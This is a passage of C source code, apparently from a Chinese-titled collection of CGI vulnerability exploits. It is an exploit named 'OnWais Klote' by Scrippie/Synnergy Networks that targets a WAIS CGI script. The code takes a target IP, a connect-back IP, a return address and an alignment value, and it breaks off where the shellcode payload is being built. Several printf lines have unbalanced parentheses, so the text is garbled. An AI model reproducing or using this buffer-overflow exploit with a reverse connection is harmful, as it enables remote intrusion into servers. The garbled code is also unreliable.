|
CGI漏洞(25) { char *iploc, *evilcode; int sd, align=0; unsigned long sip; /* IP to connect back to */ unsigned long dip; /* Target IP */ unsigned long retaddy=RETADDY; /* Default return address */ /* Whee, print the banner */ if(argc < 3) { printf("OnWais Klote - Scrippie/Synnergy Networks\n"; printf("Use as: %s [ret addy] [align]\n", argv[0]); exit(0); } printf("******************************************************\n"; printf("+ OnWais Klote - Scrippie/Synnergy.net +\n"; printf("******************************************************\n"; /* I know inet_addr() is obsolete - too bad, you can‘t run this program when you‘re on 255.255.255.255 - who is anyway? */ if((dip = inet_addr(argv[1])) == -1) { printf("Error: Non valid IP address specified\n"; exit(-1); } if((sip = inet_addr(argv[2])) == -1) { printf("Error: Non valid IP address specified\n"; exit(-1); } /* Use specified return address */ if(argc > 3) { retaddy = strtoul(argv[3], NULL, 16); } printf("Return address : 0x%lx\n", retaddy); /* Use specified alignment */ if(argc > 4) { align = atoi(argv[4]); } printf("Alignment : %d\n", align); printf("Target : %s\n\n", argv[1]); /* We convert our IP to fit in the payload */
|